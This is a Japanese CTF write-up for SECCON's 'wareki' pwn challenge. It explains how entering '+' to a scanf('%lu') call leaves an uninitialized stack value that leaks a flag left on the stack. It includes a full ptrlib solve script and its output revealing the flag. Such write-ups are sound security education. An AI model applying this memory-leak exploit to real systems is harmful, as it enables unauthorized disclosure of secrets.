Pwnが1問だけあったのでやりました。
[Pwn 268pts] 和暦
説明文:西暦を和暦に変換してくれるよ サーバ:nc wareki-o-reiwa.seccon.jp 36294
64ビットバイナリがもらえます。
$ checksec wareki
[*] 'wareki'
Arch: 64 bits (little endian)
NX: NX enabled
SSP: SSP enabled (Canary found)
RELRO: Full RELRO
PIE: PIE enabled
機能としては(1)和暦変換と(2)フラグ読み込みがあります。 和暦変換では西暦を入力すると大正から令和までの間であれば「平成 XX 年」みたいに表示してくれます。 フラグ読み込みではオフセットを指定すると、そのオフセットから0x5Aバイト読み込んでくれます。 読み込み先はローカル変数なのでスタック上に乗っかりますが、出力するような処理はありません。
西暦などもすべてscanf("%lu", &year)のように数字として読んでいるので、特にオーバーフローもありません。
ということで、和暦を出力している部分でメモリリークを起こせるはずです。
西暦を和暦に変換する処理は単純で、大正から令和までの最初の年がテーブルに記録されており、yearがtable[i]を超えればyear - table[i] + 1を出力します。
さて、ここでyearはscanfで読み込まれているので、+や-だけを入力するとスタック上の値は破壊されないまま次の処理へ進みます。
したがって、次のようにメモリリークが発生します。
$ ./wareki 西暦 -> 和暦 変換サービス 1: 和暦変換 2: フラグ読み込み 0: 終了 >> 1 西暦 >> + 変換しますか?(Yes:1, No:Others) >> 1 変換結果:令和 140178803216576 年
フラグ読み込みでfreadしたフラグはスタックに残ったままなので、これを利用してリークできます。
オフセットを変えていけば少しずつフラグを取得できます。
flag.txtの最初の方は日本語テキスト(即位の文章?)だったので、オフセットを大きくしていくと次のコードでフラグが取得できました。
from ptrlib import * log.level = [] flag = b"" for offset in range(6380, 10000, 5): sock = Socket("wareki-o-reiwa.seccon.jp", 36294) #sock = Process("./wareki") # Read sock.recvuntil(">> ") sock.sendline("2") sock.recvuntil(">> ") sock.sendline(str(offset)) # Leak sock.recvuntil(">> ") sock.sendline("1") sock.recvuntil(">> ") sock.sendline("+") sock.recvuntil(">> ") sock.sendline("1") sock.recvuntil(" ") try: leak = int(sock.recvuntil(" ")) + 2019 flag += int.to_bytes(leak, length=8, byteorder='little')[1:6] print(flag) except: pass print(flag)
おしまい。
$ python solve.py
b'\n\n==='
b'\n\n=====\n\nF'
b'\n\n=====\n\nFLAG :'
b'\n\n=====\n\nFLAG : SECC'
b'\n\n=====\n\nFLAG : SECCON{WA'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_g035_'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_g035_0n_f0'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_g035_0n_f0r3v3r'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_g035_0n_f0r3v3r}\n\x00\x00\x00'